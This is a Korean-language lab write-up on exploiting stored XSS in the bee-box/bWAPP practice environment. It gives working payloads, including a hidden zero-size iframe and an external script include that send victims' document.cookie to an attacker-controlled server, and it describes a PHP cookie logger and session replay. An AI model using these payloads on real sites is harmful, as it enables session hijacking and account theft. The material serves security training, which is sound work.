37. StoredXSS 취약점 실습

1. Beebox를 이용한 간단한 실습

A3 - XSS stored (blog)로 실습 진행

가장 먼저 alert함수를 통해 script가 작동되는지 확인

게시글을 Submit하면 바로 경고창이 실행되는 것을 볼 수 있다.

이를 페이지 소스보기로 확인해 보면

입력한 script가 <td> 테크 안에 들어가 있음.

쿠키정보를 alert 창을 이용해 띄워보면

<script>alert(document.cookie);</script>

쿠키정보가 뜬다. 이 자체로는 의미 없고,

이 정보를 내가 지정한 곳으로 보낼 수 있도록 구성해서 

임의의 victim이 게시글을 클릭했을 때, 쿠키정보를 전송하게 만들어야 함.

(쿠키 재사용 공격)

---

2. 쿠키 재사용 공격 (Replay attack)

Stored XSS →  Victim 쿠키 정보(일반사용자, 관리자) → 공격자 서버(beebox에 같이 구성)

 

<script>alert(1);</script>

<script>alert(document.cookie);</script>

 

iframe 태그로 창이 보이지 않게(희생자가 인지하지 못하게)

쿠키정보를 설치해둔 beebox의 cookie.php로 전송

 

<iframe src='http://192.168.182.130/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>

iframe 등의 구문 스크리닝을 우회하기 위해 위의 구문을 넣은 js 파일을 읽도록 작성

대부분의 악성코드가 이런 식으로 작성되고 배포된다.

<script src="http://192.168.182.130/a.js"></script>

 

위의 코드에서 cookie.php 파일에 대해서 살펴보면

php 구문을 해석해 보면

cookie.html에 append해라

희생자의 IP 주소, Port정보, 브라우저 정보, Referer 정보를

 

특히, Referer는 희생자가 이 스크립트를 실행하기 전에 어느 페이지 주소에 있었는가 인데

관리자의 경우 관리자 페이지에서 넘어온 경우에는 관리자 페이지의 주소를 노출하게 된다.

 

cookie.html은 외부에서 append 해야 하기 때문에 권한을 주어야 함.

root@bee-box:/var/www# chmod 777 cookie.html

 

정보가 넘어가서 쌓이는 cookie.html을 살펴보면 아래와 같다.

탈취한 쿠키를 이용해 희생자의 세션으로 접속가능 (크롬 브라우저의 경우 개발자 도구 application - Cookie)

 

현재는 이를 방지하기 위해서 쿠키를 생성할 때 IP주소 + 쿠키 → 암호화

금융권 등은 Active X 등을 이용해 MAC주소, 하드웨어의 일부 정보까지 섞어서 암호화

 

일반사용자에서 XSS이 발생하지 않아도 관리자 페이지에서 들어가 볼 때 XSS이 발생할 수도 있다.

브라우저 버전별로 동작이 되고 안되고 필터링되는 부분이 다르다.

 

XSS 필터 우회를 위한 cheat sheet 

https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html